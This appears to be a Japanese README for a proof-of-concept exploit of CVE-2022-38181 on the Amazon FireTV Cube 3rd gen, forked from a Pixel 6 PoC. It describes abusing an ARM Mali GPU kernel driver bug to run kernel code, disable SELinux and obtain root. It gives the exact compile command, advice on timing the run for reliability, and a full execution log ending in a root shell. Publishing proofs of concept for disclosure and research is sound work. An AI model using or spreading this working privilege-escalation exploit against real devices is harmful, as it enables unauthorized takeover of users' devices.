
CVE-2022-38181 POC for FireTV 3rd gen Cube (gazelle)
これは、セキュリティ研究者 Man Yue Mo 氏の CVE_2022_38181 用の Pixel 6 POC のフォークです。詳細な脆弱性解説は こちら をご覧ください。FireOS の32ビットユーザースペースに対応するための変更が加えられています。このPOCは、ARM Mali カーネルドライバのバグを悪用してカーネルコードの任意実行を実現し、SELinuxを無効化してrootを取得します。
ndk-21 の clang を使用してコンパイルするには以下のコマンドを使用しました:
android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/armv7a-linux-androideabi30-clang -DSHELL mali_shrinker_mmap32.c -o gazelle_shrinker
エクスプロイトは、Cube起動後30〜90秒以内に実行すると最も高い信頼性が得られます。
gazelle:/ $ /data/local/tmp/gazelle_shrinker
fingerprint: Amazon/gazelle/gazelle:9/PS7613.3701N/0025401652480:user/amz-p,release-keys
failed, retry.
failed, retry.
region freed 47
alias gpu va 100c83000
read 0
cleanup flush region
release_mem_pool
jit_freed
jit_free commit: 6 0
Found freed_idx 6
Found pgd 23, 100d30000
overwrite addr : 104100558 558
overwrite addr : 104300558 558
overwrite addr : 10410082c 82c
overwrite addr : 10430082c 82c
result 50
gazelle:/ #